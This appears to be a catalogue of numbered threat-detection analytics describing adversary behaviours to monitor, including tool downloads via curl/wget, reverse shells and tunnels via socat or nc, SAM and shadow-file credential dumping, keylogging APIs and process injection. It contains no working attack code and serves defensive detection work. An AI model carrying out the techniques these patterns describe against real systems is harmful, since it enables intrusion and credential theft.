Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).


[AN0161] Analytic 0161

Current version: 1.0

Description:

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).


[AN0162] Analytic 0162

Current version: 1.0

Description:

Correlate unauthorized or anomalous file modifications, deletions, or metadata changes with suspicious process execution or API calls. Detect abnormal changes to structured data (e.g., database files, logs, financial records) outside expected business process activity.


[AN0163] Analytic 0163

Current version: 1.0

Description:

Detect unauthorized manipulation of log files, database entries, or system configuration files through auditd and syslog. Correlate shell commands that alter HISTFILE or data-related processes with abnormal file access patterns.


[AN0164] Analytic 0164

Current version: 1.0

Description:

Detect manipulation of system or application files in /Library, /System, or user data directories using FSEvents and Unified Logs. Identify anomalous process execution modifying plist files, structured data, or logs outside expected update cycles.


[AN0165] Analytic 0165

Current version: 1.0

Description:

Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).


[AN0166] Analytic 0166

Current version: 1.0

Description:

Shell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.


[AN0167] Analytic 0167

Current version: 1.0

Description:

Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.


[AN0168] Analytic 0168

Current version: 1.0

Description:

Command line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.


[AN0169] Analytic 0169

Current version: 1.0

Description:

Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.


[AN0170] Analytic 0170

Current version: 1.0

Description:

Detects modification of registry keys used for default file handlers, followed by anomalous process execution from user-initiated file opens. This includes tracking changes under HKCU and HKCR for file extension mappings, and correlating them with new or suspicious handler paths launching unusual child processes (e.g., PowerShell, cmd, wscript).


[AN0171] Analytic 0171

Current version: 1.0

Description:

Disabling or modifying the Linux Audit system through process termination (auditd killed), service management (systemctl stop auditd), or tampering with rule/configuration files (/etc/audit/audit.rules, audit.conf). Defender view: suspicious execution of auditctl/systemctl commands, file modifications to audit rules, or sudden absence of audit logs correlated with privileged execution.


[AN0172] Analytic 0172

Current version: 1.0

Description:

Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.


[AN0173] Analytic 0173

Current version: 1.0

Description:

Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch.


[AN0174] Analytic 0174

Current version: 1.0

Description:

Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).


[AN0175] Analytic 0175

Current version: 1.0

Description:

Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior.


[AN0176] Analytic 0176

Current version: 1.0

Description:

Unquoted service or shortcut paths that contain spaces and allow path interception by higher-level executables. Defender observes registry service configurations with unquoted paths, file creation of executables in parent directories of unquoted paths, and subsequent process execution from unexpected locations.


[AN0177] Analytic 0177

Current version: 1.0

Description:

Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (docker exec, kubectl exec, or API calls to kubelet) correlated with unexpected process creation inside containers. Behavioral chains include unauthorized API requests followed by command execution within running pods or containers, often originating from unusual user accounts, automation scripts, or IP addresses outside the expected cluster management plane.


[AN0178] Analytic 0178

Current version: 1.0

Description:

Behavioral chain: (1) a user-facing app (browser/Office/email client) launches a URL or handles a link, then (2) the same process lineage makes an outbound connection to an untrusted domain/IP, (3) a file is downloaded or unpacked to a user-writable location shortly after the click. Optional enrichment: subsequent child execution by LOLBINs.


[AN0179] Analytic 0179

Current version: 1.0

Description:

Behavioral chain: (1) browser/office/GUI mail client opens a URL, (2) outbound connection to untrusted domain, (3) a new file is saved in $HOME/Downloads, /tmp, or cache immediately after.


[AN0180] Analytic 0180

Current version: 1.0

Description:

Behavioral chain: (1) Safari/Chrome/Firefox/Office handles a URL; unified logs show open/click or LSQuarantine assignment, (2) outbound connection to untrusted domain, (3) a new file appears in ~/Downloads or /private/var/folders/* with quarantine flag.


[AN0181] Analytic 0181

Current version: 1.0

Description:

Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination. Defender perspective: correlation between commands including nohup, disowned jobs, or & suffix with continued process execution after parent terminal exit.


[AN0182] Analytic 0182

Current version: 1.0

Description:

PowerShell or script execution with parameters that suppress errors or ignore user interrupts, such as -ErrorAction SilentlyContinue. Defender perspective: detecting discrepancies between suppressed error arguments and continued execution behavior.


[AN0183] Analytic 0183

Current version: 1.0

Description:

Use of nohup, disown, or AppleScript constructs to suppress process interrupts. Defender perspective: commands containing nohup or hidden background tasks (osascript with persistent execution) correlated with processes surviving user logouts.


[AN0184] Analytic 0184

Current version: 1.0

Description:

Adversary installs or modifies IIS components (ISAPI filters, extensions, or modules) using DLL files registered via configuration changes or administrative tools like AppCmd.exe. These components intercept or manipulate HTTP requests/responses for persistence or C2.


[AN0185] Analytic 0185

Current version: 1.0

Description:

Chain: (1) a new external device is recognized by Windows (USB/Thunderbolt/PCIe) or a new block device appears; (2) within a short window, the same user/session spawns processes or the OS mounts a new volume; (3) optional follow-on activity such as HID keystroke injection, DMA driver load, or new network interface MAC on DHCP. Correlate Security EID 6416 / Kernel-PnP with sysmon and DHCP/network metadata.


[AN0186] Analytic 0186

Current version: 1.0

Description:

Chain: (1) udev / kernel logs show hot-plug (USB/Thunderbolt/PCIe); (2) block device created by udisks/diskarbitration; (3) optional: new network interface or DHCP lease observed. Correlate /var/log/messages|syslog, auditd SYSCALL open/creat on /dev, and DHCP/Zeek.


[AN0187] Analytic 0187

Current version: 1.0

Description:

Chain: (1) unified logs report IOUSBHost/IOThunderbolt device arrival; (2) diskarbitrationd attaches a new volume; (3) optional: config profile manipulation or new network interface MAC obtains a lease. Correlate unifiedlogs (subsystems: IOUSBHost, IOKit, diskarbitrationd), FSEvents, and DHCP/Zeek.


[AN0188] Analytic 0188

Current version: 1.0

Description:

Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received.


[AN0189] Analytic 0189

Current version: 1.0

Description:

Monitor for malicious payload delivery through phishing where attachments or URLs in email clients (e.g., Thunderbird, mutt) result in unusual file creation or outbound network connections. Focus on correlation between mail logs, file writes, and execution activity.


[AN0190] Analytic 0190

Current version: 1.0

Description:

Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution.


[AN0191] Analytic 0191

Current version: 1.0

Description:

Phishing via Office documents containing embedded macros or links that spawn processes. Detection relies on correlating Office application logs with suspicious child process execution and outbound network connections.


[AN0192] Analytic 0192

Current version: 1.0

Description:

Phishing attempts targeting IdPs often manifest as anomalous login attempts from suspicious email invitations or fake SSO prompts. Detection correlates login flows, MFA bypass attempts, and anomalous geographic patterns following phishing email delivery.


[AN0193] Analytic 0193

Current version: 1.0

Description:

Phishing delivered via SaaS services (chat, collaboration platforms) where messages contain malicious URLs or attachments. Detect anomalous link clicks, suspicious file uploads, or token misuse after SaaS-based phishing attempts.


[AN0194] Analytic 0194

Current version: 1.0

Description:

Detects file transfers or mounting operations from remote hosts followed by write actions into a local staging directory, often using SMB or remote shell activity.


[AN0195] Analytic 0195

Current version: 1.0

Description:

Detects inbound SCP, rsync, or NFS mounts from remote systems followed by aggregation of files into known staging paths like /mnt/staging or /var/tmp.


[AN0196] Analytic 0196

Current version: 1.0

Description:

Detects rsync or scp inbound from other hosts that then aggregate content into /Users/Shared or /private/tmp, often involving compressed files or scripts.


[AN0197] Analytic 0197

Current version: 1.0

Description:

Detects remote writes or snapshots mounted from other systems into a central ESXi VMFS path or NFS store used for remote staging of files before exfiltration.


[AN0198] Analytic 0198

Current version: 1.0

Description:

Detects remote write activity across cloud VMs or object storage buckets within the same region/account that correlate with data aggregation across hosts.


[AN0199] Analytic 0199

Current version: 1.0

Description:

Detects adversary use of logon script configuration via Group Policy or user object attributes, followed by script execution post-authentication. Behavior includes modification of script path or file, then process execution under user logon context.


[AN0200] Analytic 0200

Current version: 1.0

Description:

Abuse of systemctl to execute commands or manage systemd services. Defender perspective: correlate suspicious service creation or modification with execution of systemctl subcommands such as start, enable, or status. Detect cases where systemctl is used to load services from unusual locations (e.g., /tmp, /dev/shm) or where new service units are created outside of expected administrative workflows.


[AN0201] Analytic 0201

Current version: 1.0

Description:

Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.


[AN0202] Analytic 0202

Current version: 1.0

Description:

Session cookie reuse on unmanaged browsers, devices, or client types deviating from user baseline (e.g., switching from Chrome to curl).


[AN0203] Analytic 0203

Current version: 1.0

Description:

Web session tokens reused in native Office apps (e.g., Outlook, Teams) without associated token refresh or login behavior on the endpoint.


[AN0204] Analytic 0204

Current version: 1.0

Description:

Anomalous process (e.g., rundll32, svchost, cmd) initiates connections to internal peer hosts not seen in typical communication baselines, used to proxy or forward traffic internally, often using SMB, RPC, or high ports.


[AN0205] Analytic 0205

Current version: 1.0

Description:

socat, ssh, iptables, or ncat invoked from user space or cron jobs to create port forwarding, reverse shells, or inter-host tunnels between compromised Linux systems. Behavior is typically paired with socket activity and high entropy traffic.


[AN0206] Analytic 0206

Current version: 1.0

Description:

Execution of AppleScript or Automator services launching ssh -L, socat, or launchctl items that dynamically reroute traffic from one Mac endpoint to another. LaunchAgents used to establish permanent internal tunnels.


[AN0207] Analytic 0207

Current version: 1.0

Description:

ESXi shell execution of tools/scripts (nc, socat, perl) relaying network traffic to other internal hosts, especially when initiated by unauthorized users or VMs.


[AN0208] Analytic 0208

Current version: 1.0

Description:

Configuration of internal NAT or proxy rules that redirect traffic between client segments internally (e.g., site-to-site port forwarding). Often used to relay internal beaconing or move traffic laterally through trust zones.


[AN0209] Analytic 0209

Current version: 1.0

Description:

Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.


[AN0210] Analytic 0210

Current version: 1.0

Description:

Detects embedded or emulated VBScript/VBA execution via Wine-based apps, Office for Mac abusing cross-platform .NET features, or macros dropped and invoked via AppleScript or third-party automation tools.


[AN0211] Analytic 0211

Current version: 1.0

Description:

Detects abuse of Mono/.NET Core environments to execute VB-like scripts, often in environments with Office emulation or WINE. Focus is on rare invocations of scripting hosts like mono.exe or .NET shells, often seen in spam filtering or forensic labs with Office support.


[AN0212] Analytic 0212

Current version: 1.0

Description:

Execution of file transfer or network access activity through non-primary interfaces (e.g., WiFi, Bluetooth, cellular) by processes not typically associated with such behavior (e.g., rundll32, powershell, regsvr32).


[AN0213] Analytic 0213

Current version: 1.0

Description:

Use of rfkill, nmcli, or low-level tools (e.g., iw, hcitool, pppd) to enable alternate interfaces followed by data transfer via non-primary NICs.


[AN0214] Analytic 0214

Current version: 1.0

Description:

AppleScript or system calls to activate WiFi/Bluetooth interfaces (networksetup, blueutil), followed by exfiltration via AirDrop, cloud sync, or network socket.


[AN0215] Analytic 0215

Current version: 1.0

Description:

Detects adversarial use of cloud APIs for command execution, resource control, or reconnaissance. Focuses on CLI/SDK/scripting language abuse via stolen credentials or in-browser Cloud Shells. Monitors for anomalous API calls chained with authentication context shifts (e.g., stolen token -> privileged action) and cross-service impacts.


[AN0216] Analytic 0216

Current version: 1.0

Description:

Detection of anomalous RDP or remote service session activity where a logon session is hijacked rather than newly created. Indicators include mismatched user credentials vs. active session tokens, service session takeovers without corresponding successful logon events, or RDP shadowing activity without user consent.


[AN0217] Analytic 0217

Current version: 1.0

Description:

Detection of SSH/Telnet session hijacking via discrepancies between authentication logs and active session tables. Adversary behavior includes reusing or stealing active PTY sessions, attaching to screen/tmux, or issuing commands without corresponding login events.


[AN0218] Analytic 0218

Current version: 1.0

Description:

Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions.


[AN0219] Analytic 0219

Current version: 1.0

Description:

Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint → (2) elevated 4xx/5xx or unusual methods/paths → (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules → (4) optional outbound callback from the host/container.


[AN0220] Analytic 0220

Current version: 1.0

Description:

Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs → (2) spike of 5xx or WAF blocks → (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell → (4) outbound callback.


[AN0221] Analytic 0221

Current version: 1.0

Description:

Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request → service crash/5xx → service spawns shell or writes file → new outbound connection.


[AN0222] Analytic 0222

Current version: 1.0

Description:

Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs → (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) → (3) egress to Internet or metadata service (169.254.169.254).


[AN0223] Analytic 0223

Current version: 1.0

Description:

Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes → (2) workload spawns shell or reaches metadata API → (3) egress to new external hosts.


[AN0224] Analytic 0224

Current version: 1.0

Description:

Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service → hostd/vpxd error/crash/restart → unexpected process behavior or datastore access → outbound callback.


[AN0225] Analytic 0225

Current version: 1.0

Description:

Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs → device syslog errors/restarts → config changes/CLI spawn → egress to attacker C2.


[AN0226] Analytic 0226

Current version: 1.0

Description:

Execution of trusted, Microsoft-signed binaries such as rundll32.exe, msiexec.exe, or regsvr32.exe used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.


[AN0227] Analytic 0227

Current version: 1.0

Description:

Execution of trusted system binaries (e.g., split, tee, bash, env) used in uncommon sequences or chained behaviors to execute malicious payloads or perform actions inconsistent with normal system or script behavior.


[AN0228] Analytic 0228

Current version: 1.0

Description:

Use of system binaries such as osascript, bash, or curl to download or execute unsigned code or files in conjunction with application proxying.


[AN0229] Analytic 0229

Current version: 1.0

Description:

Adversary modifies internal UI messages (e.g., login banners, desktop wallpapers) or hosted intranet web pages by creating or altering content files using scripts or unauthorized access. Often preceded by privilege escalation or web shell deployment.


[AN0230] Analytic 0230

Current version: 1.0

Description:

Adversary leverages root or sudo access to alter system banners, web content directories (e.g., /var/www/html), or login configurations (/etc/issue). File creation or overwrites may coincide with suspicious script execution or cron job activity.


[AN0231] Analytic 0231

Current version: 1.0

Description:

Modification of user desktop backgrounds, login screen messages, or system banners by adversaries using admin privileges or script execution. May coincide with tampering in /Library/Desktop Pictures/ or use of AppleScript.


[AN0232] Analytic 0232

Current version: 1.0

Description:

Adversary modifies ESXi host login banner or MOTD file (/etc/motd), either through SSH or host console access. May involve configuration file overwrite or API calls from compromised vSphere clients.


[AN0233] Analytic 0233

Current version: 1.0

Description:

Execution of container orchestration commands (e.g., docker exec, kubectl exec) or API-driven interactions with running containers from unauthorized hosts or non-standard user contexts. Defender sees programmatic or interactive command execution within containers outside expected CI/CD tools or automation frameworks, often followed by file writes, privilege escalation, or lateral discovery.


[AN0234] Analytic 0234

Current version: 1.0

Description:

Defenders can detect suspicious cloud instance deletions by correlating events across authentication, instance lifecycle, and account activity. From a defender’s perspective, behaviors of interest include instances deleted shortly after creation, deletions initiated by new or rarely used accounts, deletions following snapshot creation, and deletions originating from anomalous geolocations or access keys. These may indicate adversarial attempts to destroy forensic evidence or evade detection.


[AN0235] Analytic 0235

Current version: 1.0

Description:

An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\SAM, HKLM\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.


[AN0236] Analytic 0236

Current version: 1.0

Description:

Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of mofcomp.exe, usage of Register-WmiEvent via PowerShell, and anomalous child processes of WmiPrvSE.exe that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.


[AN0237] Analytic 0237

Current version: 1.0

Description:

Detection of processes that load or decode encrypted/encoded files in memory and subsequently execute or inject them, indicating payload unpacking or memory-resident malware.


[AN0238] Analytic 0238

Current version: 1.0

Description:

Detection of suspicious use of shell utilities or scripts that decode or decrypt a payload and execute it without writing to disk.


[AN0239] Analytic 0239

Current version: 1.0

Description:

Detection of encoded payloads being decoded and executed in-memory using scripting tools or third-party decoders.


[AN0240] Analytic 0240

Current version: 1.0

Description:

Defender observes execution of commands like tasklist, sc query, reg query, or PowerShell WMI/Registry queries targeting known backup products (e.g., Veeam, Acronis, CrashPlan). Behavior often includes parent-child lineage involving PowerShell or cmd.exe with discovery syntax, and enumeration of services, directories, or registry paths tied to backup software.


[AN0241] Analytic 0241

Current version: 1.0

Description:

Defender observes use of CLI tools (find, grep, ls, dpkg, rpm, systemctl, ps aux) to discover backup agents or config files (e.g., rsnapshot, duplicity, veeam). This often includes command lines that recursively search /etc/, /opt/, or /var/ directories for keywords like backup, and parent-child relationships involving shell or Python scripts.


[AN0242] Analytic 0242

Current version: 1.0

Description:

Defender detects execution of mdfind, launchctl, or GUI-based enumeration (e.g., /Applications/Time Machine.app) along with command-line usage of find, grep, or system_profiler to identify installed backup tools like Time Machine, Carbon Copy Cloner, or Backblaze. Often triggered from Terminal sessions or within post-exploitation scripts.


[AN0243] Analytic 0243

Current version: 1.0

Description:

Monitors suspicious usage of Windows API calls like SetWindowsHookEx, GetKeyState, or polling functions within non-UI service processes, combined with Registry or driver modifications.


[AN0244] Analytic 0244

Current version: 1.0

Description:

Detects non-system processes accessing /dev/input/* or issuing ptrace/evdev syscalls used for reading keystroke buffers directly.


[AN0245] Analytic 0245

Current version: 1.0

Description:

Detects unauthorized TCC access or use of Quartz Event Services (CGEventTapCreate) or IOHID for event tap installation within unexpected processes.


[AN0246] Analytic 0246

Current version: 1.0

Description:

Keylogging on legacy network devices via unauthorized system image modification or remote capture of console keystrokes (telnet, SSH) through altered firmware or man-in-the-middle key sniffing.


[AN0247] Analytic 0247

Current version: 1.0

Description:

Behavioral sequence where removable media is mounted, files are written/updated, and subsequently read/executed on a separate host, suggesting removable-media relay communication.


[AN0248] Analytic 0248

Current version: 1.0

Description:

Detection of file write-access to USB-mount directories (e.g., /media/, /run/media/) followed by same-file access or execution on another host.


[AN0249] Analytic 0249

Current version: 1.0

Description:

Correlates removable volume mounts (disk arbitration) with file I/O events on that volume, followed by same file execution shortly after insert.


[AN0250] Analytic 0250

Current version: 1.0

Description:

Behavioral chain involving suspicious use of GetProcAddress and LoadLibrary following memory allocation and manual mapping, often paired with low entropy strings, abnormal API use without static import tables, or delayed module load behaviors.


[AN0251] Analytic 0251

Current version: 1.0

Description:

Installation or execution of a malicious browser or IDE extension, followed by abnormal registry entries or outbound network connections from the host application


[AN0252] Analytic 0252

Current version: 1.0

Description:

Installation of configuration profiles or plist entries associated with malicious or unauthorized browser extensions


[AN0253] Analytic 0253

Current version: 1.0

Description:

Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity


[AN0254] Analytic 0254

Current version: 1.0

Description:

Adversary launches built-in system tools (e.g., whoami, query user, net user) or scripts that enumerate user account information via local execution or remote API queries (e.g., WMI, PowerShell).


[AN0255] Analytic 0255

Current version: 1.0

Description:

Adversary runs commands like whoami, id, w, or cat /etc/passwd from non-interactive or scripting contexts to enumerate system user details.


[AN0256] Analytic 0256

Current version: 1.0

Description:

Adversary uses dscl, who, or environment variables like $USER to identify accounts or sessions via Terminal or malicious LaunchAgents.


[AN0257] Analytic 0257

Current version: 1.0

Description:

Adversary executes CLI commands like show users, show ssh, or attempts to dump AAA user lists from routers or switches.


[AN0258] Analytic 0258

Current version: 1.0

Description:

Detects creation or modification of scheduled tasks using schtasks.exe, at.exe, or COM objects followed by execution of outlier processes tied to the scheduled job.


[AN0259] Analytic 0259

Current version: 1.0

Description:

Detects creation or modification of cron jobs via crontab, /etc/cron.* directories, or systemd timer units with execution by unusual users or non-standard intervals.


[AN0260] Analytic 0260

Current version: 1.0

Description:

Detects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.


[AN0261] Analytic 0261

Current version: 1.0

Description:

Detects unusual use of cron or sleep loops inside containers executing unfamiliar scripts or binaries repeatedly.


[AN0262] Analytic 0262

Current version: 1.0

Description:

Detects modification of ESXi cron jobs, local.sh scripts, or scheduled API calls to persist custom binaries or shell scripts.


[AN0263] Analytic 0263

Current version: 1.0

Description:

Adversary uses a tool like Ruler or MFCMapi to create a malicious Outlook rule that triggers execution upon receipt of a crafted email. On email delivery, Outlook executes the rule, resulting in code execution (e.g., launching mshta.exe or PowerShell). Outlook spawns a non-standard child process, often unsanctioned, without user interaction.


[AN0264] Analytic 0264

Current version: 1.0

Description:

Adversary adds a new Outlook rule with modified or obfuscated PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER attributes using MFCMapi or Ruler. Rule is triggered when email arrives, executing embedded or external code. Mailbox audit logs or Unified Audit Log shows automated rule-triggered action without user interaction.


[AN0265] Analytic 0265

Current version: 1.0

Description:

Account attribute changes (e.g., password set, group membership, servicePrincipalName, logon hours) correlated with unusual process lineage or timing, indicating privilege escalation or persistence via valid accounts.


[AN0266] Analytic 0266

Current version: 1.0

Description:

Use of native tools or scripting (e.g., usermod, passwd, groupmod) to escalate permissions or persist access on existing users, correlated with login or process events.


[AN0267] Analytic 0267

Current version: 1.0

Description:

Modifications to user accounts via dscl, pwpolicy, or System Preferences CLI (sysadminctl) that alter user groups, enable root, or bypass MDM restrictions.


[AN0268] Analytic 0268

Current version: 1.0

Description:

Modifications to SSO/SAML user attributes (e.g., isAdmin, role, MFA bypass, App assignments) often through CLI, API, or rogue IdP apps.


[AN0269] Analytic 0269

Current version: 1.0

Description:

Addition of new users or changes to role permissions (e.g., ReadOnly -> Admin) via API or vSphere Client, particularly from non-jumpbox IPs.


[AN0270] Analytic 0270

Current version: 1.0

Description:

Role escalation (e.g., Editor → Owner) in cloud collaboration tools (Google Workspace, O365) or file sharing apps to maintain elevated access.


[AN0271] Analytic 0271

Current version: 1.0

Description:

Processes using Win32 API calls (e.g., EnumWindows, GetForegroundWindow) or scripting tools (e.g., PowerShell, VBScript) to enumerate open windows. These often appear with reconnaissance or data collection TTPs.


[AN0272] Analytic 0272

Current version: 1.0

Description:

Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.


[AN0273] Analytic 0273

Current version: 1.0

Description:

Processes that utilize AppleScript, CGWindowListCopyWindowInfo, or NSRunningApplication APIs to list active application windows and foreground processes.


[AN0274] Analytic 0274

Current version: 1.0

Description:

Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.


[AN0275] Analytic 0275

Current version: 1.0

Description:

Unexpected write operations to BIOS/UEFI firmware regions or EFI boot partitions that do not correlate with legitimate vendor firmware updates. API calls or utilities such as fwupdate.exe or vendor flash tools executed from non-administrative or non-IT management accounts. Suspicious raw disk writes targeting System Firmware GUID partitions followed by abnormal reboot sequences.


[AN0276] Analytic 0276

Current version: 1.0

Description:

Unauthorized firmware uploads to routers, switches, or firewalls via TFTP/FTP/SCP. Logs showing boot variable or startup image path changes redirecting to non-standard firmware images. Abnormal reboots or firmware rollback attempts following configuration modification events.


[AN0277] Analytic 0277

Current version: 1.0

Description:

Detects malicious injection behavior involving memory allocation, remote thread queuing via APC (e.g., QueueUserAPC), and altered thread context within another live process to execute unauthorized code under legitimate context.


[AN0278] Analytic 0278

Current version: 1.0

Description:

Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.


[AN0279] Analytic 0279

Current version: 1.0

Description:

Detects invocation of lua or luajit interpreters by users or services outside of expected packages, chained with script drop or memory artifacts.


[AN0280] Analytic 0280

Current version: 1.0

Description:

Detects Lua script execution via native or 3rd party interpreters, chained with unsigned binaries or unexpected parent lineage.


[AN0281] Analytic 0281

Current version: 1.0

Description:

Detects embedded Lua interpreter execution or script injection on devices supporting Lua scripting (e.g., routers, firewalls), often seen in modified firmware or abused APIs.


[AN0282] Analytic 0282

Current version: 1.0

Description:

Monitors for abnormal process behavior and API calls like SetWindowsHookEx, GetAsyncKeyState, or device input polling commonly used for keystroke logging.


[AN0283] Analytic 0283

Current version: 1.0

Description:

Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.


[AN0284] Analytic 0284

Current version: 1.0

Description:

Monitors for TCC-bypassing or unauthorized access to input services like IOHIDSystem or Quartz Event Services used in keylogging or screen monitoring.


[AN0285] Analytic 0285

Current version: 1.0

Description:

Detects web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.


[AN0286] Analytic 0286

Current version: 1.0

Description:

Detects network share disconnection attempts using command-line tools like net use /delete, PowerShell Remove-SmbMapping, and correlation with process lineage and SMB session teardown activity.


[AN0287] Analytic 0287

Current version: 1.0

Description:

Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe. Correlates registry modifications, DLL loads, and process handle access events.


[AN0288] Analytic 0288

Current version: 1.0

Description:

Detects modification of PAM configuration files, unauthorized new PAM modules, and suspicious process execution accessing PAM-related binaries. Correlates file modification events in /etc/pam.d/ with process execution of unauthorized binaries.


[AN0289] Analytic 0289

Current version: 1.0

Description:

Detects unauthorized additions or changes to /Library/Security/SecurityAgentPlugins and suspicious process activity attempting to hook authentication APIs. Correlates file modifications with abnormal plugin loads in authentication flows.


[AN0290] Analytic 0290

Current version: 1.0

Description:

Detects suspicious configuration changes in IdP authentication flows such as enabling reversible password encryption, MFA bypass, or policy weakening. Correlates policy modification events with unusual administrative activity.


[AN0291] Analytic 0291

Current version: 1.0

Description:

Detects unauthorized changes to IAM authentication configurations such as disabling MFA, creating backdoor access keys, or altering trust policies. Correlates identity policy updates with unusual login behavior.


[AN0292] Analytic 0292

Current version: 1.0

Description:

Use of hash-cracking tools (e.g., John the Ripper, Hashcat) after credential dumping, combined with high CPU usage or GPU invocation via unsigned binaries accessing password hash files


[AN0293] Analytic 0293

Current version: 1.0

Description:

Execution of hash cracking binaries or scripts (e.g., john, hashcat) following access to shadow file or dumped hashes


[AN0294] Analytic 0294

Current version: 1.0

Description:

Unsigned or scripting-based processes invoking password cracking binaries or accessing hashed credential artifacts post-login


[AN0295] Analytic 0295

Current version: 1.0

Description:

Sudden valid logins from accounts that previously had credentials dumped but had not authenticated successfully in the past; correlated with timeline of suspected hash cracking


[AN0296] Analytic 0296

Current version: 1.0

Description:

Offline cracking inferred by subsequent successful CLI or web-based authentications into routers or switches from previously dumped accounts


[AN0297] Analytic 0297

Current version: 1.0

Description:

Detects PE injection through a behavioral sequence where one process opens (OpenProcess) a handle to another, allocates remote memory (VirtualAllocEx), writes a PE header (MZ) or shellcode (WriteProcessMemory), then initiates a new thread (CreateRemoteThread or NtCreateThreadEx) in that process—executing injected code in memory without touching disk. Optional: injects a trampoline or shellcode that unpacks/reflectively maps the payload.


[AN0298] Analytic 0298

Current version: 1.0

Description:

Correlation of inbound emails with embedded links followed by user-driven browser navigation to suspicious or obfuscated domains. Detection chain includes malicious URL in email → user click recorded in Office logs → browser process spawning unusual child processes (e.g., PowerShell, cmd) or download activity.


[AN0299] Analytic 0299

Current version: 1.0

Description:

Detection of spearphishing links through mail logs and browser activity. Behavior includes email with suspicious URLs → user click recorded in mail/web proxy logs → shell or interpreter launched from browser process.


[AN0300] Analytic 0300

Current version: 1.0

Description:

Correlation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links → Safari/Chrome accessing newly registered or lookalike domains → osascript or Terminal spawned unexpectedly.


[AN0301] Analytic 0301

Current version: 1.0

Description:

Detection of OAuth consent phishing or malicious login attempts initiated through spearphishing links. Behavior chain includes inbound email with OAuth URL → consent page visited → unusual token grants logged in IdP logs.


[AN0302] Analytic 0302

Current version: 1.0

Description:

Atypical processes (e.g., powershell.exe, regsvr32.exe) encode large outbound traffic using Base64 or other character encodings; this traffic is sent over uncommon ports or embedded in protocol fields (e.g., HTTP cookies or headers).


[AN0303] Analytic 0303

Current version: 1.0

Description:

Custom scripts or processes encode outbound traffic using gzip, Base64, or hex prior to exfiltration via curl, wget, or custom sockets. Encoding typically occurs before or during outbound connections from non-network daemons.


[AN0304] Analytic 0304

Current version: 1.0

Description:

Processes use built-in encoding utilities (e.g., base64, xxd, or plutil) to encode file contents followed by HTTP/HTTPS transfer via curl or custom applications.


[AN0305] Analytic 0305

Current version: 1.0

Description:

ESXi daemons (e.g., hostd, vpxa) are wrapped or impersonated to send large outbound traffic using gzip/Base64 encoding over SSH or HTTP. These actions follow suspicious logins or shell access.


[AN0306] Analytic 0306

Current version: 1.0

Description:

